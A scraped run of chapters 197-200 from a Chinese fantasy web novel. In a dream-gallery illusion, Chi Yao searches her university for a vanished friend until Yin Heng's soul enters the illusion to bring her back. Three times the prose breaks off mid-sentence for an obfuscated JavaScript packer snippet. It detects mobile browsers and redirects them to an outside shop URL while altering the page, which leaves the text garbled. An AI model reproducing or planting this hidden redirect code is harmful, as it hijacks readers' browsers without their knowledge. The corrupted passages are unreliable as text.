“他们是王族杀手。” 殷蘅的话顿了一下,或许是注意到池遥没听懂,迟疑了一会儿,将这个词汇拆分解释。 “既是王族,又是杀手。” “啊?” 池遥震惊了。 小小梦之画廊竟然出现了两名王族,失敬失敬。 “情感障碍是新都王族的遗传病症,他们将有王族血统的私生子秘密培养成顶级杀手,为王室执行无法公开的任务,就包括猎杀觉醒者。” 想到这里,池遥浑身猛地一颤。 没想到,事实竟然是这样。 她和萧俨在一起的时候,有说出什么不合时宜的话吗?有暴露自己觉醒者的身份吗?有让萧俨瞧出不对劲吗? 想不到。 他们之间的回忆实在太多,在鲸都的每一天,从早到晚似乎都在一起度过。 如果萧俨真的发现自己的身份,该怎么办? 萧俨的能力过于强大,她是真的无能为力。 “别想太多。” 殷蘅在背后轻咳一声。 “静心凝神,控制住自己的负面情绪。” 被对方一提醒,池遥才回过神来。 他们此时,仍旧身陷一望无际的麦田。 已经不知道走了多少米,连头顶的乌鸦叫声都消失了。 周围一片死寂。 远处的路面与暗色的天空连成一线,终于出现了尽头。 越向前走,前方的天际线却不再后退,越来越近。 难不成,她走到了世界的边界? 辽阔,宽广的麦田小路,此时在她眼前越仿佛变成了平面的二维画面,形成一面无边无际的墙壁,死死禁锢住她,让她隐隐产生一种错觉。 这里似乎已经到了画中世界的尽头。 她被困住了。 向前的脚步微微一顿。 “池遥。” 然而,耳边再度响起了殷蘅的声音。 “向前走。” 她缓慢地迈出下一步,硬着头皮,朝着面前的墙壁走去。 “咔嚓!” 紧接着,身体前方传来了一阵碎裂声,她撞破了面前的墙壁,终于走向画中世界之外。 197. 梦之画廊12 眼前的光线逐渐变暗,消失的世界在眼前变成分散的色块,熟悉又陌生。 萧俨闭上眼,忽略身体深处蔓延上来的疲惫感,缓慢地吸了口气,又轻轻呼出来。 又结束了一个画中世界,他已经积攒了十小时的休息时间。 再破除一个画中世界,他就可以放心休息一段时间了。 很快,再次睁开眼时,他已经处于一条陈旧的西式长廊里了。 推开长廊深处唯一一扇门,与门内的少年对上视线,萧俨神色一僵,但只维持了不到一秒,就挂上了惯常的笑容,坦然地朝对方看去。 “你也在啊,小猫。” 随后收获了对方尖锐得仿佛下一秒就会暴起杀人的瞪视。 “别那么看我呀,我们现在应该不算是敌对关系吧?” 萧俨越过比自己单薄得多的少年,打量起面前的房间。 这是一间光线略显昏暗的房间,复古的西式风格,在他们不远处,是四个身穿礼服,一动不动的孩子。 最左侧的婴儿坐在一个复古的婴儿座椅中,神态无辜地望着右侧,一只手被身旁的女孩牵着。 在婴儿右侧,拉着婴儿的手的是一个身穿蓝色礼服裙,将卷曲的头发盘在脑后的女孩。 最右边的椅子上,坐着一个身穿暗绿色西装的男孩,正抬头看着头顶的鸟笼。 而在这三个孩子身后几步的距离,伫立着一个身穿白色碎花礼服裙的女孩,双手拎着裙摆,身体微微弯曲,似乎在行礼。 这四个孩子就站在萧俨和苏榕对面,保持着各自的姿势,一动不动。 萧俨的目光又转移到最右侧的孩子头顶。 孩子身后高高的椅背顶上,露出一只虎斑猫的脑袋,正虎视眈眈盯着鸟笼的方向。 他的视线在房中扫视一圈,又回到对面的几个孩子身上,正巧和蓝裙女孩对上了视线。 与此同时,似乎感应到了什么,周围三个孩子也齐齐看向萧俨。 “我们四个之中,有一个是不存在的‘人’。” 他们用机械而生硬的语调,如同真正的人偶一般,开口说出早已设定好的句子。 “机会只有一次,把它找出来吧!” “如果猜错了的话,就由你们来代替它哦!” 属于孩童的尖笑声天然带着恐怖氛围,占据了整个房间,而四个孩子的脸上仍旧只有僵硬的笑意。 萧俨回过头,看向站在门口,看起来似乎随时都会变成小猫夹着尾巴逃走的苏榕。 “他们和你也是这么说的吗?” 苏榕点点头。 苏榕本想在四个人里随便猜一个,碰碰运气。 他的运气一向好得惊人,一直以来经历过的多个景点,他总是能轻易获得各种助力。 或是队友中有强者带队,或是自己在里面睡一觉就阴差阳错地通过,或是变成小动物规避各种危险。 或是像现在这样,随便蒙一个答案。 反正以自己的运气,一定不会出错。 但现在萧俨来到了这里,苏榕立刻退到身后,安心地等大佬带飞。 “那似乎不公平啊。” 萧俨托着下巴,打量着对面的几个孩子,目光闪烁。 “刚刚只有苏榕一个人,你们给了他一次机会,现在我来到这里,你们是不是也应该给我一次机会呢?这样我们一人有一次机会,才能公平参与嘛。” “如果给了你们每个人一次机会,那么如果这里同时来了四个人,难道我也要给他们四次机会吗?” 最年长的少女面无表情地盯着萧俨。 “好吧,我只是试探一下啦。” 萧俨露出更加灿烂的虚假笑容。 见惯了他这副模样的苏榕把脑袋扭到一边,在知道他不存在感情后,再看到萧俨露出这副表情,心里别扭极了。 和池遥在一起的这段时间,萧俨每天都能看到苏榕变成小猫取悦池遥的画面,也不指望苏榕派得上用场,目光来回在几个孩子身上划过。 不知道过了多久。 他抬手,指着其中一个孩子。 “是你吧?” 四个孩子同时露出了深不可测的笑容。 —— “滴答......” “滴答......” 进入下一个画中世界后,还没睁开眼睛,就听到了微弱的水滴声。 池遥挣扎着睁开眼。 走出麦田的小路后,画中世界终于崩塌,她和殷蘅将迎来下一个画中世界。 在离开上一个画中世界时,她还背着殷蘅,因此,他们应该是一同来到了下个世界了吧? “殷蘅......” 她睁开眼,第一时间想叫殷蘅的名字,身边却空无一人。 头顶的夜空是雾蒙蒙的深蓝,金色的星星垂着小尾巴,像仙女棒一样在夜空中绽放开来。 她躺在一艘没有帆的破旧小船里。 身下的水域不算宽广,似乎是一片湖泊,将湖岸边的灯火无限拉长,拉扯出一条金丝。 细碎的湖水闪着光,波光粼粼地晃动着。 池遥扶着脚下的船面,艰难地从只能容纳一人的小船上站起身来,小船过于狭窄,稍微一动就会不停晃动,她微微倾身,双手扶着大腿,朝着脚下的湖面望去。 即便是停泊在岸边的小船,但这只小船旁边还停着几艘一模一样的破船,池遥所在的小船就被挤到了离湖岸略远的湖面上。 池遥慢慢屈膝,小心翼翼地蹲下来,离湖水的距离拉近后,在月光与星光的辉映之下,隐约在水下看到了一张苍白的脸。 水下的人有一头清爽的一刀切短发,双眼紧闭,生死未卜。 曲卓! 池遥猛地瞪大眼睛,身体不受控制地发抖。 脚下的小船剧烈摇晃,双腿一软,她不受控制地跌入湖水中。 然而,随着身体坠入水中,她却没有半点窒息和呛水的感觉。 紧接着,她盯着眼前的世界,惊诧地瞪大了眼。 强烈得有些刺眼的阳光下,是她再熟悉不过的大铁门。 铁门正上方的牌匾上,写着四个大字。 北城大学。 为什么会在这里? 池遥震惊地后退一步,身体不受控制地颤抖起来。 身边,是穿着夏装,出入校园的大学生们,从她身边擦肩而过,她甚至能听到其他学生的谈话声。 “我真服了,放假为什么会有ddl?其他人回家我自己在图书馆赶due吗?老师这招太狠了。” “啊啊啊啊X团终于出新舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381422|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台了,方以濯简直是神来的!此年下小狗男就这么不经意间帅你一大跳!” “我上次在综合食堂看到大三的林晟了,他们艺术学院的也会来综合食堂吃饭吗?” “不知道啊,但他舍友程煜总在学校里玩滑板,身边有概率刷新出林晟,你可以注意一下。” ...... 池遥抬起手,捂住了脸。 为什么会如此真实呢? 明知道这里是湖水之下的世界,不可能是真实世界,可她却还是情不自禁地在此停留。 不仅如此。 为什么她会在湖水下面看到曲卓的脸? 难不成,曲卓也在这个画中世界里? 她只知道曲卓会进入梦之画廊这个景点,却不清楚她到底有没有安全离开。 如果...... 只是如果,如果曲卓真的没走出画中世界呢? 怎么办? 手指缝隙中有水珠淌下来。 池遥在原地站了不知道多久,才擦掉泪水,平复心情,循着记忆中宿舍的方向,跑了过去。 曲卓到底有没有在这个地方,她要亲自去确认。 强化过后的身体爆发出比普通人更快的速度,她不顾一切,朝着宿舍的方向疯跑,一路收获了不少学生的瞩目。 跑得这么快,是赶不上教授点名了吧? 路边几个看到池遥身影的学生掏出手机,看了一眼屏幕显示的时间,摇头叹了口气。 都这个时间点,恐怕跑得再快也弥补不了了。 顾不得周围人或是诧异,或是佩服,或是同情的目光,池遥穿过人群,终于来到了自己的宿舍门口。 “咚咚——” 她曲起指节,急促地敲了两下门,带着急促的呼吸,一把推开了宿舍门。 “池遥?” 坐在宿舍桌前的赵一宁和孟然两人被开门声吓了一跳,看到门外的人,惊呼出声。 池遥第一时间看向大门左手边的位置。 然而,并没有曲卓的人影。 桌上的物品摆放整齐,摞成一摞的教材最上方还放着一个方以濯款式的棉花娃娃,凳子被收到桌子前方,让出宿舍门口的空间。 一切都很有曲卓的风格。 池遥扭过头,看向房间里的两名舍友。 “曲卓呢?” 然而,却对上了两双迷茫的眼睛。 赵一宁和孟然对视一眼,齐齐露出疑惑的表情。 “那是谁?你朋友吗?” 她们不记得曲卓了? 怎么回事? 池遥蹙紧眉头,指向曲卓的床位,开口问道。 “那这个位置住的是谁?” “......” 赵一宁和孟然反而疑惑地看着她。 “你怎么了,池遥,这里根本没有人呀?我们不是三个人住四人寝吗?” 池遥浑身一振。 不对。 不对不对不对! 如果曲卓还好好坐在寝室里,她还能把这个北城大学当成湖水下的幻境。 可是,为什么这片一切都与真实记忆如出一辙的幻境内,唯独少了曲卓的身影? 曲卓去哪儿了? 难不成,她真的被困在画中世界里了吗? 198. 梦之画廊13 池遥的生日卡在了一个尴尬的期限,总是和各种专业课的期末考试,作业提交日撞车,她自己在生日当天都忙得晕头转向,更别提为自己庆生了。 进入北城大学后的第一个生日那天。 池遥写期末要提交的论文作业肝到早上六点,总算完成,按下提交键,晕晕沉沉进入梦乡。 “生日快乐!” 没过几个小时,就被窗外的动静吵醒。 池遥的床位靠窗,迷迷糊糊地睁开眼,一看手机,才早上九点钟,就翻了个身,掀起窗帘的一角朝着窗外看。 女生宿舍楼下,三个陌生女孩围着她们的舍友,大声喊出各自的祝福。 被围在正中间的女生尴尬地低着脑袋,躲避路人循声看来的视线,局促地红透了耳朵。 池遥悄悄缩回脑袋,像只骤然见了光,反而不适应的老鼠般仓皇回到黑暗的床帘中。 脑袋重新挨到了枕头上,浓重的睡意摧残着每一根神经,可另有一股难以描述的酸涩感,从心底漫了上来,如鲠在喉,让她一直无法入睡。 窗外的吵闹声和笑声愈发刺耳,池遥听见孟然的翻身声,然后对方小声抱怨了一句。 “谁啊......大清早的这么扰民......” 池遥浑身僵硬地平躺在床上,一动不敢动。 她今天又长了一岁,而且还完成了最后一项专业课的作业,之后只剩下周的期末考试,已经做得很好了。 睡觉前的轻松惬意一扫而空,她只觉得心底沉甸甸的,仿佛压了什么东西,压得自己好难受,几乎要控制不住地流出眼泪来了。 可是,是她一直没有和舍友们提过自己今天过生日的。 她在这儿委屈什么呢? 心中无数想法分散成几道声音,在脑子里自顾自地吵嚷起来。 怀着这样复杂的心情,池遥再次从床上醒来时,宿舍里只剩下了她和曲卓。 赵一宁和孟然的专业和池遥曲卓不一样,有其他作业要做,已经提前出发去图书馆了。 而曲卓的论文作业只剩下一个结尾,干脆在宿舍里进行收尾工作。 见池遥从床帘里探出头来,曲卓抬头看她。 “池遥,你是今天过生日吗?” 池遥一愣。 最近这段时间,大家都忙着各自的学业,池遥从未提过自己生日的事,曲卓是怎么知道的? “啊......对。” 她哑口无言,呆愣地点点头。 “那我跟然然和小宁说一声,晚上等她们从图书馆回来,我们三个请你吃饭,给你庆生。” 说着,曲卓掏出手机,开始在宿舍群里给其他两位舍友发消息。 池遥刚睡醒,睡成一片浆糊的脑子还没处理好现在的状况,呆呆地掏出手机,盯着宿舍群里不停跳出的信息图标发呆。 “OK了,五点半去图书馆门口和她们汇合。你想吃点什么?冰糖肘子?” 曲卓的声音把她的意识拉回现实。 “哦,可以的......你为什么知道我今天过生日,我之前说过吗?” 池遥忍不住开口问道。 她换好衣服,从床上爬下来,来到了曲卓的面前。 “你是没说过,不过......” 曲卓将她的手机屏幕递到了池遥面前。 屏幕上是池遥熟悉的某个视频APP,池遥和曲卓的账号互相关注,一刷到有趣的内容就分享给对方。 而此时,通知框中显示了一行小字。 ——提醒您,您有好友今天过生日。 紧接着,曲卓打开她的好友列表,一众用户名之中,只有池遥的用户名后面带上了一个相当明显的蛋糕标志。 “还有这种功能啊......” 她忍不住感叹了一句。 “这个是要手动设置的,你要在这里把生日提醒打开才会有......” 曲卓手把手教她设置新功能。 总之,那一天的生日,在曲卓的帮助下,池遥过得非常幸福。 —— 池遥坐在宿舍里,忍不住开始回忆起自己与曲卓相处的每个瞬间。 她已经追逐着曲卓的背影,连续来到了两个世界,可是...... 曲卓究竟在什么地方? 她不知道,也无从找起。 连在大学时代的幻影里也无法搜寻到曲卓的踪迹。 “我出去一趟。” 这么想着,池遥再也坐不住了,和赵一宁和孟然二人说一声,再次离开宿舍。 一切都和记忆中的北城大学毫无差异。 她走过了每一所教学楼,推开了每一扇门。 空荡荡的教室里没有曲卓的影子。 正在上课的教室内,讲台上的教授蹙起眉,用目光谴责她,座位上的学生们好奇地打量门口突然出现的人,而池遥只快速浏览一遍,没见到池遥的身影,就关门离开。 办公室内也没有曲卓的踪迹。 曲卓常去的图书馆,常去的自习室,最喜欢的奶茶店,都没有她本人的身影。 日升月落。 记忆里,曲卓性格开朗外向,除了池遥之外,还有不少朋友。 池遥一个个找到他们,询问曲卓的去向。 可惜,得到的答案毫无新意,这些人也忘记了曲卓的存在。 宿舍楼的每一层,偌大的食堂空间,校外一条街...... 还有无数地方需要她去确认。 时间如白驹过隙。 渐渐地,时间变成了最不值钱的概念。 她不停奔波于每一处角落,每一个缝隙,恨不得把整个北城大学翻个底朝天。 幻境中,她无论奔跑多久都不会感到疲累,也不会产生睡意。 她也不敢在这片幻境中睡去。 生怕自己一不注意,就离开了这片幻境。 只是,精神上的疲惫却不可避免。 曲卓到底在哪儿? 她真的会在这里吗? 有时候,她会无法控制地产生放弃的想法。 可是...... 万一曲卓真的在这片幻境里,如果她错过了,就真的再也找不到曲卓了。 想到这里,她不敢停下脚步,继续朝着下一个方向奔波。 日复一日。 年复一年。 很快,池遥意识到了一件事。 仅仅凭借自己一个人的力量,还是太渺小了。 自己已经成为能力者了,如果以能力者的方式来寻找,会不会更快? 想到这里,她闭上眼睛。 一瞬间,自她的眉心缓缓伸展出一条透明的精神力细丝。 走过了这么多画中世界,她的体力早已濒临极限,已经无法支撑自己继续使用精神力,但池遥还是义无反顾地发动自己的精神力细丝。 一瞬间,铺天盖地的痛苦集中在脑部,仿佛整片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17389887|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神经被一股巨力撕扯开。 池遥忽略脑中警钟般的痛苦,将所有注意力都集中在精神力细丝之中。 细丝探入大地,生出无数分支,在土壤中游走。 沿着教学楼墙壁缓缓攀升,聆听学生们的声音。 攀上校园里的行道树,嗅闻叶片顶端的草木香气。 不知过了多久。 池遥只能感受到,自己的全部意识与精神力细丝融为一体,她能看到精神力细丝看到的一切,与这条细细的丝线体验相同的感受,聆听同样的身体。 无人注意,她还站在原地的身体越来越模糊,逐渐变得透明。 最后,在体力彻底耗尽时,彻底粉碎。 与此同时,眼前一黑。 她的精神力细丝,断了。 —— 眼前的一些悉数崩塌破碎。 殷蘅闭上眼,深深地吸了一口气。 终于粉碎了眼前的幻境。 果然,再一次睁开眼时,周围的场景已经变了。头顶的天色漆黑,连带着周围的景物也陷入一片黑暗之中。 等待几秒,视线逐渐适应了黑暗之后,殷蘅看向周围。 他坐在一艘破旧的小帆船之上,身边还躺着一个熟悉的人。 “池遥?” 他艰难地撑起身体,轻轻叫了一声身边人的名字。 池遥一动不动,双眼紧闭,神态安详,毫无反应。 殷蘅抬手轻轻探向她的口鼻处,感受到了平缓的呼吸,才在心中松了口气。 看来,池遥还被困在幻境里,没有醒来。 浑身发软,没有力气,刚刚在幻境中健康的身体才真的是全然虚假的吧。 想到自己经历的环境内容,殷蘅在心中叹了口气。 离开幻境后,重新回想起自己经历的一切,站在旁观者的视角上,他才渐渐地明白了这一个画中世界的规则。 每一个陷入湖中的旅人,都会经历一场幻境。 在幻境中,会经历心底最深的恐惧。 只是每个人所恐惧之物是不同的。 有些人会被自己的恐惧困住,或者反复确认其真实性,譬如池遥。 也有人在看到自己所恐惧的事物之时,就已经意识到,眼前的一切并非真实,而是虚构的幻境,因为自己恐惧的事物是不可能出现在现实中的。 譬如殷蘅。 而此时,殷蘅躺在池遥身边,一只手轻轻贴在了池遥的手上。 即便陷入梦境,池遥的躯体依旧散发着热度。 殷蘅收回四散的思绪,回想起刚来到这个画中世界的事。 刚来到这里,他就坠入了湖里,但他记得自己坠湖前曾观察过周边的环境,与此时自己和池遥所在的空间是完全不同的。 思及此处,心神一动,一个浑身漆黑的影子自他体内分离,一手一个,扛起了殷蘅和池遥二人,纵身跳入湖水之中。 果然,再次跳入湖水中,下一秒,周围的景物出现了片刻的扭曲,等到景物重构,他们已经回到了最初见过的,那只没有帆的小船上。 看来,在这个画中世界中,湖底与湖面是对称的两个位面,从湖底的位面再次跳下湖,反而会来到最初的湖面之上。 殷蘅松了口气,驱使漆黑的灵魂将他和池遥平放在小船上,收回黑影,再度看向身旁的池遥。 然而,眼前的池遥面色发青,神色痛苦,呼吸微弱。 她的生命力在快速流逝。 199. 梦之画廊14 “池遥?” 殷蘅握住了她的手。 不知从什么时候起,池遥的手竟然冷得像个冰窟。 两只冰冷的手相触,殷蘅只觉得浑身都产生了一种强烈的冷意,池遥的手似乎在疯狂汲取他身上的暖意。 他没有松手。 反而将另一只手也放上去,任由池遥所给予的寒意流遍全身。 池遥在汲取他身上的生命力。 可惜,殷蘅本就是半具尸体,池遥能从他身上获取的生命力恐怕不多。 意识有些混沌不清,殷蘅咬了咬牙,用了点力气,握紧池遥的手,手指却被什么东西刮了一下。 他愣了一下,摊开池遥的手,将她的手捧起来,仔细查看。 殷蘅已经记不清自己的很多经历了,可与池遥的第一次相遇,他还记得清清楚楚。 那一次,他似乎也是这样,仔仔细细观察了她的手。 在殷蘅的印象中,池遥是一个尚未经历过磨难的人,初次见面时,她有一双白皙柔软,漂亮而纤弱的手。 倒也没什么不好,那是一双养尊处优,没受过苦,没受过伤的手。 而此时,被殷蘅握在手里的那只手,五指内侧骨节和关节处都长着一层薄薄的茧,皮肤也变得粗糙了不少。 刚刚剐蹭到殷蘅的就是她在第二个世界长期手执武器战斗留下的茧,因为时间不长不算太硬,但周围的皮肤厚度都增加了一些,夹带着许多细小的伤痕。 冰冷的手指顺着手指的形状轻轻描摹一番,许久,殷蘅伸出一只手,于虚空中探入自己的胸腔里,抓出一团蓝色的火焰,放进了池遥的身体里。 —— 意识分散成许多碎片,在一片黑暗中游移。 恍恍惚惚中,似乎感受到了什么温暖的热度。 眼前的漆黑被一片蓝色的火光驱散,众多意识逐渐朝着火光的方向聚拢。 不知道过了多久。 池遥渐渐感觉到了一种柔和的热度。 这种热度从胸腔扩散开来,逐渐蔓延至全身。 仿佛是一团热度没那么高的火,轻轻将她托起来,拼凑她的意识,召回她的感官。 她终于睁开了眼睛。 眼前仍旧是北城大学的校门,她仍旧没有脱离幻境。 只是,眼前的大铁门上方积压了一层厚厚的积雪。 若是她没记错的话,自己刚来到这个幻境的时候,北城大学内部还是夏天。 她已经在这片幻境内度过了两个季节了吗? 池遥努力调动记忆,却发现,自己上一次拼命调动精神力之后发生的一切,她已经没有印象了,只有一点十分确定。 她还是没有找到曲卓。 池遥深深吸了一口气,向前走了几步,仰起头,望着远处满是积雪的校园。 此时大概已经是寒假期间了,北城大学里到处都覆盖着一层厚厚的积雪,冷清极了。 曲卓会在哪儿? 池遥转过身,望着北城大学之外的景象。 这片幻境的范围从来都不局限于北城大学,难不成,曲卓会在这片城市的某一个角落吗? 她再次闭上眼睛。 只有一条精神力细丝是不行的。 她需要十条,一百条,成千上万条精神力细丝,像植物的根系一样,以她为源头,向四面八方延伸,直到把整个北城市翻个底朝天,直到找到曲卓为止。 一根细丝从指尖迸射而出,她的身体仿佛是一个布娃娃,任由诸多丝线一点点瓦解自身,最终化作无数条细丝,朝着整个幻境世界延展而去。 然而,这一次,身体彻底变成一团虚影后,却有一团蓝色的火焰仍旧留在她的身边,幽蓝色的火光笼罩着她的身躯,仿佛形成了一个坚固的保护罩。 无数细丝蔓延至世界各地。 化作山岩,自上而下俯瞰世界。 化作土壤,承载着上方的城市。 化作树木,撑开无数条枝叶,形成绿荫。 她的意识遍布整个世界。 这一次,她掌控精神力的能力似乎无形中增强了不少,尽管仍旧感到疲劳,却不再像之前一样感受到几乎要撕裂身体的痛苦了。 —— “池遥?” 殷蘅的声音气若游丝。 在注入魂火后,倒在他身边的人恢复了平和安详的表情,呼吸也恢复了正常的频率。 然而,却仍旧没有醒来。 她深深陷入了湖水编织的幻境中,沉沦其中,不敢醒来,也不愿醒来。 殷蘅在心中叹了口气。 他们进入这片湖水中已经多久了? 他在自己的幻境里度过的时间不计,光是池遥昏迷的时间,就超过了十小时,再这样下去,若是到了七十二小时的期限,池遥还没有从幻境中醒来,恐怕会永久被困在这个景点之中。 如他之前的猜测,这片幻境可以感应到人心中最深的恐惧,暗中加以引导和暗示。 池遥最恐惧的事物是什么? 殷蘅和池遥的接触不多,而池遥上一次主动找到他,是为了询问她那位名叫曲卓的朋友的踪迹。 她一直在寻找那位朋友。 说起来,若是池遥之前也经历了香林山景点,去到丧尸围城世界,眼下来到鲸落世界,又来到梦之画廊,恐怕他们这一路的踪迹是相同的。 为了寻找那位朋友,竟然独自一人跨越了三个世界吗? 殷蘅垂下眼。 与初次见面相比,池遥面部的肤色微微变深了一些,身形依旧娇小,但手臂处隐隐能窥见一点肌肉线条,气质仍然是温和好接近的,但能力似乎远远强于初次见面的时候了。 明明没过多久,却仿佛脱胎换骨一般。 她都经历了什么? 在各个世界旅行了这么久,仍旧没找到自己的朋友,她最害怕的是什么? 答案显而易见了。 每个人恐惧的事物不同,对恐惧之物的态度也不同。 恐怕,池遥所经历的幻境只要让她意识到自己有永久找不到朋友的可能性,又在不经意间向她展现出一丝好友可能在此的错觉,池遥就会为了自己的朋友,深陷幻境,不愿离开。 若是没人出手干预,池遥恐怕会在那片幻境中熬到天荒地老。 殷蘅慢慢放松身体,倒在池遥身边,闭上了眼睛。 片刻之后,一道纯白色,看不清轮廓的虚影,从殷蘅身体内缓慢逸散而出,飘进池遥的身体里。 殷蘅驱使着自己的灵魂短暂离开身体,去到池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395235|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥经历的幻境之中。 循着自己放入池遥体内的蓝色魂火,他很快就找到了池遥的所在地。 然而,当他来到池遥身边时,只看到一片透明的影子。 而他的蓝色魂火则悬在池遥头顶,如同一个锚点一样,死死凝聚着池遥四散的意识。 “池遥。” 殷蘅闭上眼睛又睁开。 作为能够驱使灵魂的能力者,殷蘅眼中看到的世界与常人不同,他能见到死魂的模样,也能透过活人的躯壳,直接看到体内的灵魂形状。 而此时,他看向池遥的身体,却望不见她的灵魂。 她的灵魂被自己瓜分成无数碎片,随着精神力细丝,蔓延到整个世界。 因此,即便无法给出回应,但池遥依旧感受到了殷蘅的到来,也听到了殷蘅的声音。 她想召回意识,开口与殷蘅交流,问殷蘅在幻境之外都经历了什么。 可若是想让意识回到身体,就必须要让发散出来的精神力细丝全部回到体内,她不想功亏一篑。 她不敢放过任何可能会找到曲卓的机会。 然而,此时,耳畔仍旧回荡着殷蘅的声音。 “池遥,你应该已经注意到了,这片突然出现的城市不是真实的,是不存在的幻境。” 池遥分散出一点注意力,聆听着殷蘅的话。 说完这句话,殷蘅紧盯着眼前池遥的虚影,眼前的一切仍旧没有变化。 池遥真能听到他的话吗? 他又想叹气了。 “这片幻境可以探测到你心底最深的恐惧,并且将你恐惧的事物投射到幻境内部,通过反复引导和暗示,加深印象。” 他继续开口,尽量放大音量,让池遥听见。 “至于你的朋友......” 他环顾四周,作为侵入池遥所在幻境的外来者,他眼中所见的景象与池遥不同,更接近幻境的本质。 “你知道的,池遥,我能看到所有尚存于世的灵魂,无论是生魂还是死魂。我可以向你保证,这片幻境中只有我们两个人的灵魂,你的朋友不在这里。” 说完这句话,没过多久,眼前池遥的身形就变了。 她的意识仿佛在一瞬间回到了体内,在魂火的保护下再次凝实,那双有些沮丧,有些黯淡的眼睛死死注视着他。 “你说真的吗?” 池遥反复向他确认。 殷蘅果然很聪明,一进入她的幻境内就精准猜出了她最恐惧的事,并且给出了肯定的答案。 得知曲卓不在幻境中,池遥起初有浅淡的遗憾,很快,心中又被巨大的庆幸填满。 她就知道,曲卓那么优秀,不会被区区一个景点困住。 这么看来,她也要追上曲卓的脚步,离开画中世界,去往下一个世界了。 如此想着,她收回所有精神力细丝,意识回归躯体,看向了对面的殷蘅。 殷蘅的身形很淡,脸近乎透明,像一个即将消散的影子。 “嗯。” 殷蘅点点头,习惯性主动伸手去拉她,然而透明的手却扑了个空。 “我是以灵魂的状态进入幻境的,没办法和你直接接触。” “池遥,梦该醒了。” “我们一起回去吧。” 200. 梦之画廊15 眼前的那只手苍白瘦削,凸显出明显的骨骼轮廓,青筋明显。 池遥本能地伸出手,想要去触碰殷蘅悬在空中的手。 然而,手碰上去,却触碰到一片虚无。 出现在自己面前的殷蘅,只是一个灵魂体。 “殷蘅......你还好吗?” 她忍不住开口,问对方。 殷蘅的身躯很淡,灵魂的色泽是一片浅薄的白,仿佛会随时被风吹散。 “没事。” 殷蘅立刻开口,停顿半晌,又继续开口说道。 “不过,池遥,我是驱使自己的灵魂进入你的意识世界,从而来到你所在的幻境的,外面的身体支撑不住我这一次的能力消耗,等你回到现实的画中世界,我恐怕会陷入昏迷状态,一时半会儿没办法醒来。” 所以,就算池遥在此把他抛下,也是完全没问题的。 反正他不会真正死去,无论是被困在景点内,还是留在什么地方,醒后总会找到办法的。 “我知道了。” 然而,池遥听了他的话,神色却陡然严肃起来。 “我的意思是,你可以不用......” 可以不用管他,不必再带着他这个累赘。 担心池遥误解,殷蘅想把话说得更明确一点,却被池遥打断了。 “我会一直带着你的。” 池遥用殷蘅从未见过的认真神色注视着他。 “你相信我,你帮了我这么大一个忙,我一定会带你通过画中世界的。” “你已经做得足够多了,而且到现在为止,我们已经在画中世界度过超过一半的时间了。之后应该不会遇到特别困难的画中世界了,你对我而言一直是恩人,绝对不是累赘。” 不知为何,池遥的语速很快,盯着他的目光也显得颇为急切,带着深而重的担忧。 “你......真的只是昏迷吧?” 她的声音缓慢变轻。 “只是昏迷,不会殃及生命,对吧?” 不知为何,在她说出这句话的同时,殷蘅的心底也陡然一酸。 一种往日里很少体验过的情绪缓缓流淌过四肢百骸。 “放心,只是昏迷,我不会死。” 他笃定道。 况且,他也一直没有找到能让自己死去的办法。 “那就好。” 池遥目光直直望着他。 “殷蘅,我知道你可能很想放弃生命。” “只是,在你还活着的时候,我也会有一个小小的私心,希望你能好好活着。” 池遥看向对面的人影。 在他们对话的期间,殷蘅的影子越来越淡。 一旦池遥恢复意识,从幻境中醒来,他们就不能继续像此时此刻一样对话了。 如果没有时限,她很想拉着殷蘅在此处说个不停,把自己的所有疑惑问清,把所有想说的话都说出来。 可是他们已经没有这样的时间了。 她最后认真地看了殷蘅一眼。 他依旧是高而瘦,浑身漆黑的形象,可灵魂却是柔和的纯白色。 与殷蘅之间的交集不多,却常常让池遥产生某种错觉,他仿佛一根连着细线的风筝,如果不时时紧紧握在手里,就会立刻消失不见。 抱着这样的心情,她闭上眼睛,深吸了一口气。 池遥所处的幻境并不高明。 只要她本人有强烈想要离开幻境的意志,就能轻易离开。 再次睁眼时,只觉得身下的船板在随着水波微微晃动。 不知何时,她已经回到了坠入湖中之前的小窗上,而殷蘅就躺在她身边。 “殷蘅?” 她不信邪地叫了一声对方的名字。 然而,没有任何回应。 池遥盯着他的脸,在原地等待了一会儿,心沉沉地坠了下去。 她忍不住爬起来,去试探殷蘅的呼吸。 幸好,还留有微弱的呼吸。 看来殷蘅说得没错,的确是昏迷了。 池遥抬手,看了一眼手表上显示的时间。 